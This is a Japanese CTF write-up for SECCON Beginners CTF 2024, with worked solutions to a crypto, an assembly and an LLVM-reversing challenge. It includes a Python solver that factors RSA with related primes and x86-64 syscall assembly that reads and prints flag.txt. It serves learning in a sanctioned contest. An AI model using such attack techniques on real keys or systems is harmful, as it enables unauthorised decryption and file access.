SECCON Beginners CTF 2024へ、一人チームrotation
で参加しました。そのwrite-up記事です。
IDAの解析結果ファイル.i64は、GitHubで公開しています。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [welcome] Welcome (928 teams solved, 50 points)
- [crypto, beginner] Safe Prime (362 teams solved, 60 points)
- [reversing, beginner] assemble (161 teams solved, 82 points)
- [reversing, easy] cha-ll-enge (295 teams solved, 65 points)
- [reversing, medium] construct (74 teams solved, 114 points)
- [reversing, hard] former-seccomp (42 teams solved, 147 points)
- [misc, easy] getRank (368 teams solved, 59 points)
- [misc, easy] clamre (198 teams solved, 76 points)
- [web, beginner] wooorker (186 teams solved, 78 points)
- [web, easy] ssrforlfi (76 teams solved, 113 points)
- [web, medium] double-leaks (55 teams solved, 130 points)
- [web, medium] flagAlias (29 teams solved, 174 points)
- [pwnable, beginner] simpleoverflow (683 teams solved, 50 points)
- [pwnable, easy] simpleoverwrite (280 teams solved, 66 points)
- [pwnable, easy] pure-and-easy (85 teams solved, 108 points)
- [pwnable, medium] gachi-rop (34 teams solved, 162 points)
- ある程度進められたけど解けなかった問題
- 感想
コンテスト概要
2024/06/15(土) 14:00 +09:00 - 06/16(日) 14:00 +09:00
の24時間開催でした。他ルールはRulesページから引用します:
SECCON Beginners CTF 2024 SECCON Beginners CTF 2024 を開催いたします! 本イベントは主に日本の CTF 初心者~中級者を対象とした CTF であり、今回は 2018 年の初開催から数えて 7 回目の開催となります。 以下の要項をご確認いただいた上で、ぜひご参加ください。 競技概要 競技形式 Jeopardy 形式 開催日程 2024/6/15 (土) 14:00 JST から 2024/6/16 (日) 14:00 JST まで 開催時間 24 時間 参加資格 国籍、年齢、性別は問いません。どなたでもご参加いただけます。 競技ルール 1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。 2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。 3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。 4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。 問題難易度について 本 CTF は日本の CTF 初心者~中級者を対象としたものです。そのため、近年の一般的な CTF ではほぼ見かけない初心者向けの簡単な問題も一定数出題される予定です。これを機に CTF を始めたいという方や、最近 CTF を始めた方は、ぜひそれらの問題をお楽しみください。 それと同時に、上級者でも楽しめる、少しだけ難易度が高めの問題の出題も予定しています。何度か CTF に参加したことがある方は、ぜひそれらの問題を腕試しとしてご活用いただければと思います。 また、より競技に取りかかりやすくなるように、各問題で「Beginner」「Easy」「Medium」「Hard」といった難易度を示す情報を表示しております。 なお、本 CTF の問題数や難易度は複数人からなるチームでご参加いただくことを想定して設定されております。 1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されますので、ぜひお誘い合わせの上ご参加ください。 競技中のコミュニケーション 競技中の競技に関するアナウンスは、以下の招待リンクから参加できる Discord サーバにて行います。 - https://discord.gg/6sKxFmaUyS また、競技中に運営に問い合わせたいことがある場合にも、こちらの Discord サーバを利用して下さい。 禁止事項 CTF 競技時間中、以下の行為は禁止とします。 1. 他チームへの妨害行為 2. 他チームの回答などをのぞき見する行為 3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など) 4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること 5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く) 6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃 7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!) 8. その他、運営を阻害する行為 不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。 特記事項 出題内容や開催中のアナウンスは原則日本語とします。問題中で例外的に英語が用いられる場合があります。 チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。 本大会では上位チームへの賞金・賞状の授与等は行いません。 また SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。 参加登録 参加登録は 2024/6/8 (土) に開始予定です。今しばらくお待ち下さい。 Twitter @ctf4b 国際女性CTF「Kunoichi Cyber Game」の予選会としての利用について(CTF for GIRLSからのお知らせ) 11月14日、15日 にCODE BLUE 会場(東京都新宿区 ベルサール高田馬場)にて若手向け国際女性CTF「Kunoichi Cyber Game」を開催します。その日本チームメンバーを選抜する予選会として、今回 Beginners CTF 2024の場を提供いただいています。 予選会に参加を希望される方は、Beginners CTF にチーム参加ではなく、個人で参加していただく必要があります。 詳細については、こちらをご覧いただき、ぜひ奮ってチャレンジしてみてください!
結果
正の得点を得ている962チーム人中、1534点で23位でした:
また、Settingsページ下部のCertificate箇所から、順位の証明書も表示できました:
環境
WindowsのWSL2(Ubuntu 24.04)を主に使って取り組みました。現状ではUbuntu 24.04のaptではsagemathをinstallできないので、sagemathを使う問題ではUbuntu 22.04も併用しました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.4529] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
- Visual Studio Code Version: 1.90.1 (system setup)
- Google Chrome Version 125.0.6422.142 (Official Build) (64-bit)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show requests | grep Version: Version: 2.31.0 $ python3 -m pip show pycryptodome | grep Version: Version: 3.20.0 $ python3 -m pip show pwntools | grep Version: Version: 4.12.0 $ clang --version | sed -n 1p Ubuntu clang version 18.1.3 (1) $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2024.02.14 build: 2b9beef $ pwninit --version pwninit 3.3.1 $ ROPgadget --version Version: ROPgadget v7.3 Author: Jonathan Salwan Author page: https://twitter.com/JonathanSalwan Project page: http://shell-storm.org/project/ROPgadget/ $ strace --version strace -- version 6.8 Copyright (c) 1991-2024 The strace developers <https://strace.io>. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Optional features enabled: stack-trace=libunwind stack-demangle m32-mpers mx32-mpers $ curl --version curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.1 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd $ docker --version Docker version 20.10.24, build 297e128 $
解けた問題
[welcome] Welcome (928 teams solved, 50 points)
Welcome to SECCON Beginners CTF 2024! フラグはDiscordサーバのannouncementsチャンネルにて公開されています! The flag is on Discord.
配布ファイルはありません。コンテンスト開始時刻になると、Discordで次の書き込みがありました:
hi120ki — Today at 2:00 PM @everyone 📣 SECCON Beginners CTF 2024 開始 📣 SECCON Beginners CTF 2024 を開始します! https://score.beginners.seccon.jp/ (注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。) 問題 Welcome のフラグはctf4b{Welcome_to_SECCON_Beginners_CTF_2024} です。
フラグを入手できました: ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
[crypto, beginner] Safe Prime (362 teams solved, 60 points)
Using a safe prime makes RSA secure, doesn't it?
問題文中の safe prime
箇所にはWikipediaページへのリンクがあります。配布ファイルとして、問題本体のchall.py
と、その出力のoutput.txt
がありました:
import os from Crypto.Util.number import getPrime, isPrime FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode() m = int.from_bytes(FLAG, 'big') while True: p = getPrime(512) q = 2 * p + 1 if isPrime(q): break n = p * q e = 65537 c = pow(m, e, n) print(f"{n = }") print(f"{c = }")
問題文で言われている通り p
側はソフィー・ジェルマン素数、 q
側は安全素数のようです。
最初は「 n
を分解できる?」「 e
乗根が平文そのものだったりする?」と迷走していました。しばらく経ってから、次の関係性に気付きました:
p
が増えると n
も狭義単調増加するため、 p
を二分探索で求められることに気付きました。p
が分かれば復号に必要な数値を計算できて、暗号文を復号できます。ソルバーを書きました:
#!/usr/bin/env python3 import ast with open("output.txt") as f: n = ast.literal_eval(f.readline().split("=")[1]) c = ast.literal_eval(f.readline().split("=")[1]) e = 65537 low = 1 high = n while low < high: mid = (low + high) // 2 # print(mid) if ((2 * mid + 1) * mid) < n: low = mid + 1 else: high = mid p = low q = 2 * p + 1 assert n % p == 0 d = pow(e, -1, (p - 1) * (q - 1)) m = pow(c, d, n) print(m.to_bytes(64, "big").lstrip(b"\x00").decode())
実行しました:
$ time ./solve.py ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s} ./solve.py 0.03s user 0.00s system 22% cpu 0.143 total $
フラグを入手できました: ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
他の方のwrite-upを見て気付きましたが、p
についての二次方程式なので一発で p
を求めることもできます。
[reversing, beginner] assemble (161 teams solved, 82 points)
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう! https://assemble.beginners.seccon.games
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yaml: ASCII text ./Dockerfile: ASCII text ./main.py: Python script, ASCII text executable ./requirements.txt: ASCII text ./templates/index.html: HTML document, ASCII text $
とはいえ、配布ファイルを全然読まなくても、問題文記載のURLへアクセスすれば何をするべきなのかは大体分かります:
main.py
をざっと見すると、次の内容と分かりました:
- 全部で4問あり、4問全てを突破するとフラグが表示されそう
- 入力するアセンブリ言語プログラムは次の制約をすべて満たす必要がありそう
- 25行以内
- 使用可能な命令は
mov
,push
,syscall
のみ
Challenge 1. Please write 0x123 to RAX!
真っ当に書いて突破できました:
mov rax, 0x123
Challenge 2. Please write 0x123 to RAX and push it on stack!
同じく真っ当に書いて突破できました:
mov rax, 0x123 push rax
Challenge 3. Please use syscall to print Hello on stdout!
x64 Linuxシステムコールの仕様書は x86 psABIs / x86-64 psABI · GitLab からダウンロードできる abi.pdf
のようで、それの表題は System V Application Binary Interface
です。その中のP137にある A.2 AMD64 Linux Kernel Conventions
、 A.2.1 Calling Conventions
に、syscall
命令を使ったシステムコールの呼び出し方が書かれています:
1. (前略) The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9. 2. A system-call is done via the syscall instruction. The kernel clobbers registers %rcx and %r11 but preserves all other registers except %rax. 3. The number of the syscall has to be passed in register %rax. 4. System-calls are limited to six arguments, no argument is passed directly on the stack. 5. Returning from the syscall, register %rax contains the result of the system-call. A value in the range between -4095 and -1 indicates an error, it is -errno. 6. Only values of class INTEGER or class MEMORY are passed to the kernel.
6は、おそらく構造体等を直接は渡せないことを表しているのだと思います。1~5をまとめると、システムコール呼び出しは次の手順を踏めばいいと分かります:
- 各種レジスタに必要な値を設定:
rax
: システムコール番号rdi
: 第1引数(あればの話、以下同様)rsi
: 第2引数rdx
: 第3引数r10
: 第4引数r8
: 第5引数r9
: 第6引数
syscall
命令を実行rax
レジスタへシステムコール呼び出し結果かエラー番号が格納されるので、適宜使用
さて標準出力に使えるシステムコールといえば write
システムコールです。システムコール番号を探すために Chromium OS Docs - Linux System Call Table を参照すると、 write
システムコールのシステムコール番号は 1
と分かります。
write
システムコールの引数や戻り値のプロトタイプ宣言は man 2 write
コマンドで確認できて、 ssize_t write(int fd, const void *buf, size_t count);
と分かります。今回は標準出力に書き込みたいので、第1引数の fd
へは STDOUT_FILENO
である 1
を指定します。残りの buf
と count
で、 "Hello"
文字列を書き込むようにします。"Hello"は8文字以内なので、1回の push
命令でスタックへ配置できます。x64はlittle-endianなので、Pythonインタープリターで次の式を評価して、書き込む内容を確認しました:
>>> b"Hello"[::-1].hex() '6f6c6c6548'
後はアセンブリコードにするだけと思ったのですが、最初は push 0x6f6c6c6548
を使おうとして Failed to assemble the code. Please check the code.
判定になって困っていました。 assembly - How to push a 64bit int in NASM? - Stack Overflow によると push imm64
は存在しないため、32-bitを超える値を push
したい場合はレジスタなどを経由する必要があると分かりました。最終的に、次のアセンブリコードで突破できました:
mov rax, 1 mov rdi, 1 mov rbx, 0x6f6c6c6548 push rbx mov rsi, rsp mov rdx, 5 syscall
Challenge 4. Please read flag.txt file and print it to stdout!
ファイルを開くには open
システムコールを、その結果から読み込むには read
システムコールを、読み込み結果を出力するには先ほど同様に write
システムコールを使えます。先ほど同様に、システムコール番号とプロトタイプ宣言を調査できます:
open
システムコール- システムコール番号:
2
- プロトタイプ宣言:
int open(const char *pathname, int flags);
またはint open(const char *pathname, int flags, mode_t mode);
、flags
引数の値によってはmode
引数も使用します。
- システムコール番号:
read
システムコール- システムコール番号:
0
- プロトタイプ宣言:
ssize_t read(int fd, void *buf, size_t count);
- システムコール番号:
write
システムコール- システムコール番号:
1
- プロトタイプ宣言:
ssize_t write(int fd, const void *buf, size_t count);
- システムコール番号:
ここで、開くべきファイル名である flag.txt
はちょうど8文字であることと、 char*
文字列はNUL文字で終端されている必要があることから、 flag.txt\0\0\0\0\0\0\0\0
という内容の16バイト長のバイト列を open
システムコールへ与えることにします。また、その際の flags
引数は O_RDONLY
で十分であり、その値は #define O_RDONLY 00000000 から 0
と分かります。
flag.txt
のlittle-endian整数表現を確認するために、今回もPythonインタープリターを使いました:
>>> b"flag.txt"[::-1].hex() '7478742e67616c66'
read
システムコールで読み込むバイト数は試行錯誤しました。48バイトではフラグ途中までしか読み込めず、56バイトでは読み込みに失敗するようでした。52バイトでうまくできました。
最終的に、次のアセンブリコードで突破できました:
mov rbx, 0x7478742e67616c66 push 0 push rbx mov rdi, rsp mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 52 mov rax, 0 syscall mov rdi, 1 mov rsi, rsp mov rdx, 52 mov rax, 1 syscall
問題文記載のURLで4つのChallengeすべてを突破すると、Challenge 4の出力からフラグを入手できました: ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
[reversing, easy] cha-ll-enge (295 teams solved, 65 points)
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
配布ファイルとして、cha.ll.enge
がありました:
$ file * cha.ll.enge: ASCII text, with very long lines (478) $ cat cha.ll.enge.org @__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16 @.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1 @.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1 ; Function Attrs: noinline nounwind optnone uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [70 x i8], align 16 %3 = alloca [50 x i32], align 16 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i64, align 8 store i32 0, i32* %1, align 4 %7 = bitcast [50 x i32]* %3 to i8* call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false) %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0)) %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9) %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %12 = call i64 @strlen(i8* noundef %11) #4 %13 = icmp eq i64 %12, 49 br i1 %13, label %14, label %48 14: ; preds = %0 store i32 0, i32* %4, align 4 store i32 0, i32* %5, align 4 store i64 0, i64* %6, align 8 br label %15 15: ; preds = %38, %14 %16 = load i64, i64* %6, align 8 %17 = icmp ult i64 %16, 49 br i1 %17, label %18, label %41 18: ; preds = %15 %19 = load i64, i64* %6, align 8 %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19 %21 = load i8, i8* %20, align 1 %22 = sext i8 %21 to i32 %23 = load i64, i64* %6, align 8 %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23 %25 = load i32, i32* %24, align 4 %26 = xor i32 %22, %25 %27 = load i64, i64* %6, align 8 %28 = add i64 %27, 1 %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28 %30 = load i32, i32* %29, align 4 %31 = xor i32 %26, %30 store i32 %31, i32* %5, align 4 %32 = load i32, i32* %5, align 4 %33 = icmp eq i32 %32, 0 br i1 %33, label %34, label %37 34: ; preds = %18 %35 = load i32, i32* %4, align 4 %36 = add nsw i32 %35, 1 store i32 %36, i32* %4, align 4 br label %37 37: ; preds = %34, %18 br label %38 38: ; preds = %37 %39 = load i64, i64* %6, align 8 %40 = add i64 %39, 1 store i64 %40, i64* %6, align 8 br label %15, !llvm.loop !6 41: ; preds = %15 %42 = load i32, i32* %4, align 4 %43 = icmp eq i32 %42, 49 br i1 %43, label %44, label %47 44: ; preds = %41 %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45) store i32 0, i32* %1, align 4 br label %50 47: ; preds = %41 br label %48 48: ; preds = %47, %0 %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0)) store i32 1, i32* %1, align 4 br label %50 50: ; preds = %48, %44 %51 = load i32, i32* %1, align 4 ret i32 %51 } $
何らかのアセンブリ言語か何かに見えました。最初の方で目立った private unnamed_addr constant
でGoogle検索してみると こわくないLLVM入門! #LLVM - Qiita 記事が見つかりました。どうやらLLVM言語のアセンブリソースのようです!なるほど問題名で強調されている ll
はLLVM言語を意味しているのでしょう!
とはいえソースを眺めても内容が分からなかったので、記事を見ながらコンパイルしようとしました:
$ clang --version | sed -n 1p Ubuntu clang version 18.1.3 (1) $ clang cha.ll.enge cha.ll.enge: file not recognized: file format not recognized clang: error: linker command failed with exit code 1 (use -v to see invocation) $ cp cha.ll.enge src.ll $ clang src.ll src.ll:20:29: error: use of undefined value '@__isoc99_scanf' 20 | %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9) | ^ 1 error generated. $
はい、使用している @__isoc99_scanf
関数が未定義と言っています!一旦挫折して真面目にLLVMアセンブリソースを読もうとしましたが、「 %26
と %31
で何かをXORしている、何かはよく分からない!」で終わりました……。
一旦別の問題へ移って、戻ってきてから、適当なCソースをLLVMアセンブリソースへコンパイルして比較することにしました。色々試行錯誤しながら、cha.ll.enge
ソースで使用している4つのC標準関数を使って、次のCソースを書きました:
#include <stdio.h> #include <string.h> int main() { char input[64]; puts("Please input a name"); scanf("%s", input); printf("Hello, %s!\n", input); printf("user name's length is %lu\n", strlen(input)); return 0; }
LLVMアセンブリソースへコンパイルしました:
$ clang -S -emit-llvm -o test.ll test.c $ cat test.ll ; ModuleID = 'test.c' source_filename = "test.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [20 x i8] c"Please input a name\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [12 x i8] c"Hello, %s!\0A\00", align 1 @.str.3 = private unnamed_addr constant [27 x i8] c"user name's length is %lu\0A\00", align 1 ; Function Attrs: noinline nounwind optnone uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [64 x i8], align 16 store i32 0, ptr %1, align 4 %3 = call i32 @puts(ptr noundef @.str) %4 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0 %5 = call i32 (ptr, ...) @__isoc99_scanf(ptr noundef @.str.1, ptr noundef %4) %6 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0 %7 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %6) %8 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0 %9 = call i64 @strlen(ptr noundef %8) #3 %10 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i64 noundef %9) ret i32 0 } declare i32 @puts(ptr noundef) #1 declare i32 @__isoc99_scanf(ptr noundef, ...) #1 declare i32 @printf(ptr noundef, ...) #1 ; Function Attrs: nounwind willreturn memory(read) declare i64 @strlen(ptr noundef) #2 attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind willreturn memory(read) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind willreturn memory(read) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"Ubuntu clang version 18.1.3 (1)"} $
cha.ll.enge
と自分でコンパイルした test.ll
を見比べると、 test.ll
側にのみ declare i32 @puts(ptr noundef) #1
などの関数宣言があることに気付きました。それらを cha.ll.enge
へ移植して改めてコンパイルを試しました:
--- cha.ll.enge 2024-06-19 01:47:56.588638000 +0900 +++ src.ll 2024-06-19 01:49:19.471469000 +0900 @@ -4,6 +4,16 @@ @.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1 @.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1 +declare i32 @puts(ptr noundef) #1 + +declare i32 @__isoc99_scanf(ptr noundef, ...) #1 + +declare i32 @printf(ptr noundef, ...) #1 + +; Function Attrs: nounwind willreturn memory(read) +declare i64 @strlen(ptr noundef) #2 + + ; Function Attrs: noinline nounwind optnone uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4
$ clang src.ll src.ll:79:29: error: use of undefined metadata '!6' 79 | br label %15, !llvm.loop !6 | ^ 1 error generated. $
分岐箇所らしい箇所で何かエラーが起こっています。メタデータらしいので、削ってみました:
--- src.ll 2024-06-19 01:49:19.471469000 +0900 +++ src2.ll 2024-06-19 01:51:42.231020500 +0900 @@ -76,7 +76,7 @@ %39 = load i64, i64* %6, align 8 %40 = add i64 %39, 1 store i64 %40, i64* %6, align 8 - br label %15, !llvm.loop !6 + br label %15 41: ; preds = %15 %42 = load i32, i32* %4, align 4
$ clang src2.ll warning: overriding the module target triple with x86_64-pc-linux-gnu [-Woverride-module] 1 warning generated. $ file a.out a.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=98c87c9fde21f0a6966abf89b102a6a559866f58, for GNU/Linux 3.2.0, not stripped $
ようやく無事にコンパイルできました!というわけでIDAで読み込んで逆コンパイルしました:
int __fastcall main(int argc, const char **argv, const char **envp) { unsigned __int64 i; // [rsp+0h] [rbp-138h] int dwCorrectCount; // [rsp+Ch] [rbp-12Ch] int dwArraySize50[50]; // [rsp+10h] [rbp-128h] BYREF char strInput[84]; // [rsp+E0h] [rbp-58h] BYREF int v8; // [rsp+134h] [rbp-4h] v8 = 0; memcpy(dwArraySize50, g_dwArraySize50, sizeof(dwArraySize50)); printf("Input FLAG : "); __isoc99_scanf("%s", strInput); if ( strlen(strInput) != 49 ) goto labelIncorrect; dwCorrectCount = 0; for ( i = 0LL; i < 49; ++i ) { if ( !(dwArraySize50[i + 1] ^ dwArraySize50[i] ^ strInput[i]) ) ++dwCorrectCount; } if ( dwCorrectCount == 49 ) { printf("Correct! FLAG is %s.\n", strInput); return 0; } else { labelIncorrect: puts("Incorrect FLAG."); return 1; } }
グローバル変数の連続する2要素と入力1要素の合計3要素のXORが0になる入力が正解と分かります。ソルバーを書きました:
#!/usr/bin/env python3 # グローバル変数の内容です a = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] print(f"{len(a) = }") for (i, c) in enumerate(a[:-1]): print(chr(c^a[i+1]), end="") print()
実行しました:
$ ./solve.py len(a) = 50 ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n} $ ./a.out Input FLAG : ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n} Correct! FLAG is ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}. $
フラグを入手できました: ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
個人的には中々苦労した問題ですが、他の方のwrite-upを見ると真っ当にLLVMアセンブリソースから読解した方や、ChatGPTに投げて逆コンパイルした方々がおられて驚きました。
[reversing, medium] construct (74 teams solved, 114 points)
使っていない関数がたくさんある……?
配布ファイルとして、construct
がありました:
$ file * construct: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7ffce95c67e519a76865f904d1381b6aab6b01ef, for GNU/Linux 3.2.0, not stripped $
IDAで読み込んで逆コンパイルしてみると、 main
関数内容が祝福メッセージを表示して終了するだけのものでした:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { puts("CONGRATULATIONS!"); printf("The flag is ctf4b{%s}\n", argv[1]); _exit(0); }
ということは、 main
関数が実行されるよりも先に、コマンドライン引数を検証しているはずです。 Functions
ウィンドウから適当な関数を選んで相互参照をたどると、 .init_array
セクションに多くの関数があることが分かりました(各種関数名は変更後の名前です):
